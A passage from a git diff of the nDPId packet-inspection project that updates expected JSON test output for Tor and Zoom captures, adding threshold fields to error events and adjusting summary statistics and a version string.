{"6":"DPI"},"proto":"DHCPV6","proto_id":"103","encrypted":0,"breed":"Acceptable","category_id":14,"category":"Network"}} 01030{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":3859,"source":"tor.pcap","alias":"nDPId-test","flow_id":10,"flow_state":"finished","flow_src_packets_processed":15,"flow_dst_packets_processed":14,"flow_first_seen":1383822190886155,"flow_src_last_pkt_time":1383822265123975,"flow_dst_last_pkt_time":1383822265123334,"flow_idle_time":3285032704,"flow_src_min_l4_payload_len":0,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":586,"flow_dst_max_l4_payload_len":1460,"flow_src_tot_l4_payload_len":2770,"flow_dst_tot_l4_payload_len":5259,"midstream":0,"thread_ts_usec":1383822274144364,"l3_proto":"ip4","src_ip":"192.168.1.252","dst_ip":"62.210.137.230","src_port":51185,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":3,"ndpi": {"flow_risk": {"7": {"risk":"Obsolete TLS (v1.1 or older)","severity":"High","risk_score": {"total":510,"client":455,"server":55}}},"confidence": {"6":"DPI"},"proto":"TLS","proto_id":"91","encrypted":1,"breed":"Safe","category_id":5,"category":"Web"}} 01029{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":3859,"source":"tor.pcap","alias":"nDPId-test","flow_id":7,"flow_state":"finished","flow_src_packets_processed":16,"flow_dst_packets_processed":16,"flow_first_seen":1383822129889928,"flow_src_last_pkt_time":1383822265160118,"flow_dst_last_pkt_time":1383822265159585,"flow_idle_time":3285032704,"flow_src_min_l4_payload_len":0,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":586,"flow_dst_max_l4_payload_len":1460,"flow_src_tot_l4_payload_len":2761,"flow_dst_tot_l4_payload_len":5864,"midstream":0,"thread_ts_usec":1383822274144364,"l3_proto":"ip4","src_ip":"192.168.1.252","dst_ip":"212.83.155.250","src_port":51174,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":3,"ndpi": {"flow_risk": {"7": {"risk":"Obsolete TLS (v1.1 or older)","severity":"High","risk_score": {"total":510,"client":455,"server":55}}},"confidence": {"6":"DPI"},"proto":"TLS","proto_id":"91","encrypted":1,"breed":"Safe","category_id":5,"category":"Web"}} 01036{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":3859,"source":"tor.pcap","alias":"nDPId-test","flow_id":9,"flow_state":"finished","flow_src_packets_processed":693,"flow_dst_packets_processed":1133,"flow_first_seen":1383822130889737,"flow_src_last_pkt_time":1383822265215958,"flow_dst_last_pkt_time":1383822265215370,"flow_idle_time":3285032704,"flow_src_min_l4_payload_len":0,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":1460,"flow_dst_max_l4_payload_len":1460,"flow_src_tot_l4_payload_len":140888,"flow_dst_tot_l4_payload_len":1270708,"midstream":0,"thread_ts_usec":1383822274144364,"l3_proto":"ip4","src_ip":"192.168.1.252","dst_ip":"38.229.70.53","src_port":51176,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":3,"ndpi": {"flow_risk": {"7": {"risk":"Obsolete TLS (v1.1 or older)","severity":"High","risk_score": {"total":510,"client":455,"server":55}}},"confidence": {"6":"DPI"},"proto":"TLS","proto_id":"91","encrypted":1,"breed":"Safe","category_id":5,"category":"Web"}} -00568{"daemon_event_id":3,"daemon_event_name":"shutdown","thread_id":0,"packet_id":3859,"source":"tor.pcap","alias":"nDPId-test","packets-captured":3859,"packets-processed":3694,"total-skipped-flows":0,"total-l4-payload-len":2811958,"total-not-detected-flows":0,"total-guessed-flows":1,"total-detected-flows":10,"total-detection-updates":7,"total-updates":6,"current-active-flows":0,"total-active-flows":11,"total-idle-flows":11,"total-compressions":0,"total-compression-diff":0,"current-compression-diff":0,"total-events-serialized":367,"global_ts_usec":1383822276211998} +00568{"daemon_event_id":3,"daemon_event_name":"shutdown","thread_id":0,"packet_id":3859,"source":"tor.pcap","alias":"nDPId-test","packets-captured":3859,"packets-processed":3694,"total-skipped-flows":0,"total-l4-payload-len":2811958,"total-not-detected-flows":0,"total-guessed-flows":1,"total-detected-flows":10,"total-detection-updates":7,"total-updates":6,"current-active-flows":0,"total-active-flows":11,"total-idle-flows":11,"total-compressions":0,"total-compression-diff":0,"current-compression-diff":0,"total-events-serialized":149,"global_ts_usec":1383822276211998} ~~~~~~~~~~~~~~~~~~~~ SUMMARY ~~~~~~~~~~~~~~~~~~~~ ~~ packets captured/processed: 3859/3694 ~~ skipped flows.............: 0 @@ -377,6 +159,6 @@ ~~ total memory freed........: 6189705 bytes ~~ total allocations/frees...: 125330/125330 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -~~ json string min len.......: 185 chars +~~ json string min len.......: 285 chars ~~ json string max len.......: 2531 chars -~~ json string avg len.......: 1358 chars +~~ json string avg len.......: 1408 chars diff --git a/test/results/zoom.pcap.out b/test/results/zoom.pcap.out index 8358fc964..9a95140f3 100644 --- a/test/results/zoom.pcap.out +++ b/test/results/zoom.pcap.out @@ -12,7 +12,7 @@ 00520{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5,"source":"zoom.pcap","alias":"nDPId-test","flow_id":3,"flow_packet_id":3,"flow_src_last_pkt_time":1569520466355115,"flow_dst_last_pkt_time":1569520466355017,"flow_idle_time":3285032704,"pkt_oversize":false,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"thread_ts_usec":1569520466355115,"pkt":"EBMx8Tl2KDc3AG3ICABFAAA0AABAAEAG+Z7AqAF1p2PXpNZPEVI+PYNDfog2UoAQECx8vAAAAQEICiWcz4Xh63Ok"} 01276{"flow_event_id":7,"flow_event_name":"detected","thread_id":0,"packet_id":6,"source":"zoom.pcap","alias":"nDPId-test","flow_id":3,"flow_state":"info","flow_src_packets_processed":3,"flow_dst_packets_processed":1,"flow_first_seen":1569520466316930,"flow_src_last_pkt_time":1569520466355344,"flow_dst_last_pkt_time":1569520466355017,"flow_idle_time":3285032704,"flow_src_min_l4_payload_len":0,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":517,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":517,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1569520466355344,"l3_proto":"ip4","src_ip":"192.168.1.117","dst_ip":"167.99.215.164","src_port":54863,"dst_port":4434,"l4_proto":"tcp","ndpi": {"flow_risk": {"5": {"risk":"Known Proto on Non Std Port","severity":"Medium","risk_score": {"total":260,"client":230,"server":30}},"15": {"risk":"TLS (probably) Not Carrying HTTPS","severity":"Low","risk_score": {"total":760,"client":680,"server":80}}},"confidence": {"6":"DPI"},"proto":"TLS.ntop","proto_id":"91.26","encrypted":1,"breed":"Safe","category_id":14,"category":"Network","hostname":"dati.ntop.org","tls": {"version":"TLSv1.2","ja3":"a795593605a13211941d44505b4d1e39","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL"}}} 01334{"flow_event_id":8,"flow_event_name":"detection-update","thread_id":0,"packet_id":8,"source":"zoom.pcap","alias":"nDPId-test","flow_id":3,"flow_state":"info","flow_src_packets_processed":3,"flow_dst_packets_processed":3,"flow_first_seen":1569520466316930,"flow_src_last_pkt_time":1569520466355344,"flow_dst_last_pkt_time":1569520466392965,"flow_idle_time":3285032704,"flow_src_min_l4_payload_len":0,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":517,"flow_dst_max_l4_payload_len":142,"flow_src_tot_l4_payload_len":517,"flow_dst_tot_l4_payload_len":142,"midstream":0,"thread_ts_usec":1569520466392965,"l3_proto":"ip4","src_ip":"192.168.1.117","dst_ip":"167.99.215.164","src_port":54863,"dst_port":4434,"l4_proto":"tcp","ndpi": {"flow_risk": {"5": {"risk":"Known Proto on Non Std Port","severity":"Medium","risk_score": {"total":260,"client":230,"server":30}},"15": {"risk":"TLS (probably) Not Carrying HTTPS","severity":"Low","risk_score": {"total":760,"client":680,"server":80}}},"confidence": {"6":"DPI"},"proto":"TLS.ntop","proto_id":"91.26","encrypted":1,"breed":"Safe","category_id":14,"category":"Network","hostname":"dati.ntop.org","tls": {"version":"TLSv1.2","ja3":"a795593605a13211941d44505b4d1e39","ja3s":"dd4b012f7a008e741554bd0a4ed12920","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384"}}} -00185{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":16,"source":"zoom.pcap","alias":"nDPId-test","layer_type":34969,"global_ts_usec":1569520467785843} +00285{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"threshold_n":1,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1569520467785843,"packet_id":16,"source":"zoom.pcap","alias":"nDPId-test","layer_type":34969,"global_ts_usec":1569520467785843} 00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":16,"source":"zoom.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":60,"pkt_type":34969,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"thread_ts_usec":1569520466531926,"pkt":"\/\/\/\/\/\/\/\/2A0X1lWriJklgAAA2A0X1lWrAACAAADYDRfWVauACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"} 00755{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":17,"source":"zoom.pcap","alias":"nDPId-test","flow_id":4,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1569520467811636,"flow_src_last_pkt_time":1569520467811636,"flow_dst_last_pkt_time":1569520467811636,"flow_idle_time":3285032704,"flow_src_min_l4_payload_len":47,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":47,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":47,"flow_dst_tot_l4_payload_len":0,"midstream":1,"thread_ts_usec":1569520467811636,"l3_proto":"ip4","src_ip":"192.168.1.117","dst_ip":"62.149.152.153","src_port":54341,"dst_port":993,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":3} 00591{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":17,"source":"zoom.pcap","alias":"nDPId-test","flow_id":4,"flow_packet_id":1,"flow_src_last_pkt_time":1569520467811636,"flow_dst_last_pkt_time":1569520467811636,"flow_idle_time":3285032704,"pkt_oversize":false,"pkt_caplen":113,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":113,"pkt_l4_len":79,"thread_ts_usec":1569520467811636,"pkt":"EBMx8Tl2KDc3AG3ICABFAABjAABAAEAGoUnAqAF1PpWYmdRFA+E5lpAkp\/QQcoAYEABEHgAAAQEICiWc1TCZh0dJFwMDACpAXTQxH2s8yyXvpDmREm16+\/VcNt\/x\/vlsIce1k7D8R+clMelpc+AJPCA="} @@ -77,7 +77,7 @@ 00530{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":83,"source":"zoom.pcap","alias":"nDPId-test","flow_id":17,"flow_packet_id":1,"flow_src_last_pkt_time":1569520469423595,"flow_dst_last_pkt_time":1569520469423595,"flow_idle_time":140000000,"pkt_oversize":false,"pkt_caplen":70,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":70,"pkt_l4_len":36,"thread_ts_usec":1569520469423595,"pkt":"EBMx8Tl2KDc3AG3ICABFAAA4WycAAEABlHPAqAF1ov8mDgMDkd4AAAAARQAAPMGVQAAuEf\/wov8mDsCoAXUNl11fACgAAA=="} 00848{"flow_event_id":7,"flow_event_name":"detected","thread_id":0,"packet_id":83,"source":"zoom.pcap","alias":"nDPId-test","flow_id":17,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1569520469423595,"flow_src_last_pkt_time":1569520469423595,"flow_dst_last_pkt_time":1569520469423595,"flow_idle_time":140000000,"flow_src_min_l4_payload_len":36,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":36,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":36,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1569520469423595,"l3_proto":"ip4","src_ip":"192.168.1.117","dst_ip":"162.255.38.14","l4_proto":"icmp","ndpi": {"confidence": {"6":"DPI"},"proto":"ICMP","proto_id":"81","encrypted":0,"breed":"Acceptable","category_id":14,"category":"Network","entropy":4.182005}} 00530{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":87,"source":"zoom.pcap","alias":"nDPId-test","flow_id":17,"flow_packet_id":2,"flow_src_last_pkt_time":1569520469433729,"flow_dst_last_pkt_time":1569520469423595,"flow_idle_time":140000000,"pkt_oversize":false,"pkt_caplen":70,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":70,"pkt_l4_len":36,"thread_ts_usec":1569520469433729,"pkt":"EBMx8Tl2KDc3AG3ICABFAAA4ZPoAAEABiqDAqAF1ov8mDgMDkd4AAAAARQAAPMGZQAAuEf\/sov8mDsCoAXUNl11fACgAAA=="} -00185{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":90,"source":"zoom.pcap","alias":"nDPId-test","layer_type":34969,"global_ts_usec":1569520469782962} +00285{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"threshold_n":2,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1569520469782962,"packet_id":90,"source":"zoom.pcap","alias":"nDPId-test","layer_type":34969,"global_ts_usec":1569520469782962} 00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":90,"source":"zoom.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":60,"pkt_type":34969,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"thread_ts_usec":1569520469435439,"pkt":"\/\/\/\/\/\/\/\/2A0X1lWriJklgAAA2A0X1lWrAACAAADYDRfWVauACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"} 00753{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":91,"source":"zoom.pcap","alias":"nDPId-test","flow_id":18,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1569520469797670,"flow_src_last_pkt_time":1569520469797670,"flow_dst_last_pkt_time":1569520469797670,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":279,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":279,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":279,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1569520469797670,"l3_proto":"ip4","src_ip":"192.168.0.1","dst_ip":"255.255.255.255","src_port":68,"dst_port":67,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} 00878{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":91,"source":"zoom.pcap","alias":"nDPId-test","flow_id":18,"flow_packet_id":1,"flow_src_last_pkt_time":1569520469797670,"flow_dst_last_pkt_time":1569520469797670,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":321,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":321,"pkt_l4_len":287,"thread_ts_usec":1569520469797670,"pkt":"\/\/\/\/\/\/\/\/2A0X1lWrCABFAAEzBkxAAEARcsXAqAAB\/\/\/\/\/wBEAEMBHwAAAQEGABIog9sAAIAAAAAAAAAAAAAAAAAAAAAAANgNF9ZVqwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABjglNjNQEBNwIBAwwJVEwtU0cxMTZFPAlUTC1TRzExNkU9BwHYDRfWVav\/"} @@ -164,7 +164,7 @@ 00864{"flow_event_id":7,"flow_event_name":"detected","thread_id":0,"packet_id":386,"source":"zoom.pcap","alias":"nDPId-test","flow_id":31,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1569520471748648,"flow_src_last_pkt_time":1569520471748648,"flow_dst_last_pkt_time":1569520471748648,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":107,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":107,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":107,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1569520471748648,"l3_proto":"ip4","src_ip":"192.168.1.117","dst_ip":"109.94.160.99","src_port":58327,"dst_port":8801,"l4_proto":"udp","ndpi": {"confidence": {"6":"DPI"},"proto":"Zoom","proto_id":"189","encrypted":1,"breed":"Acceptable","category_id":26,"category":"Video"}} 00540{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":395,"source":"zoom.pcap","alias":"nDPId-test","flow_id":31,"flow_packet_id":2,"flow_src_last_pkt_time":1569520471748648,"flow_dst_last_pkt_time":1569520471780615,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":77,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":77,"pkt_l4_len":43,"thread_ts_usec":1569520471780615,"pkt":"KDc3AG3IEBMx8Tl2CABFAAA\/ukJAADURu4xtXqBjwKgBdSJh49cAK4mJAgABfUZNNf\/9ojRJXQ1tO1HolgBaDj4AegAqAAAAAAAAAAA="} 00514{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":396,"source":"zoom.pcap","alias":"nDPId-test","flow_id":31,"flow_packet_id":3,"flow_src_last_pkt_time":1569520471748648,"flow_dst_last_pkt_time":1569520471780643,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":21,"thread_ts_usec":1569520471780643,"pkt":"KDc3AG3IEBMx8Tl2CABFAAApukNAADURu6FtXqBjwKgBdSJh49cAFe6ZAwAAAAF2Ko10AFoOPgAAAAAA"} -00186{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":398,"source":"zoom.pcap","alias":"nDPId-test","layer_type":34969,"global_ts_usec":1569520471784941} +00286{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"threshold_n":3,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1569520471784941,"packet_id":398,"source":"zoom.pcap","alias":"nDPId-test","layer_type":34969,"global_ts_usec":1569520471784941} 00359{"packet_event_id":1,"packet_event_name":"packet","packet_id":398,"source":"zoom.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":60,"pkt_type":34969,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"thread_ts_usec":1569520471780865,"pkt":"\/\/\/\/\/\/\/\/2A0X1lWriJklgAAA2A0X1lWrAACAAADYDRfWVauACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"} 00759{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":425,"source":"zoom.pcap","alias":"nDPId-test","flow_id":32,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1569520471915269,"flow_src_last_pkt_time":1569520471915269,"flow_dst_last_pkt_time":1569520471915269,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":107,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":107,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":107,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1569520471915269,"l3_proto":"ip4","src_ip":"192.168.1.117","dst_ip":"109.94.160.99","src_port":60620,"dst_port":8801,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} 00638{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":425,"source":"zoom.pcap","alias":"nDPId-test","flow_id":32,"flow_packet_id":1,"flow_src_last_pkt_time":1569520471915269,"flow_dst_last_pkt_time":1569520471915269,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":149,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":149,"pkt_l4_len":115,"thread_ts_usec":1569520471915269,"pkt":"EBMx8Tl2KDc3AG3ICABFAACHOsEAAEARb8bAqAF1bV6gY+zMImEAcx+TAQACgEJ0mpHOZDa3wq7Yfnt8kAAAAAAAAAACAHoA0QB6ANEAAABAz+pIvn76v2yDYA2gAvW2g1TH36+BBcgmmBwGC4A2voI37csLDeuB1cbZ5dS3SDby7ZAjUH7\/6+f4krtKebNFkQAAAAA="} @@ -225,6 +225,6 @@ ~~ total memory freed........: 6359928 bytes ~~ total allocations/frees...: 122637/122637 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -~~ json string min len.......: 190 chars +~~ json string min len.......: 290 chars ~~ json string max len.......: 2387 chars -~~ json string avg len.......: 1288 chars +~~ json string avg len.......: 1338 chars @@ -357,5 +357,5 @@ char const * get_nDPId_version(void) #endif "\n" "(C) 2020-2022 Toni Uhlig\n" - "Please report BUGs to toni@impl.cc\n"; + "Please report any BUG to toni@impl.cc\n"; } |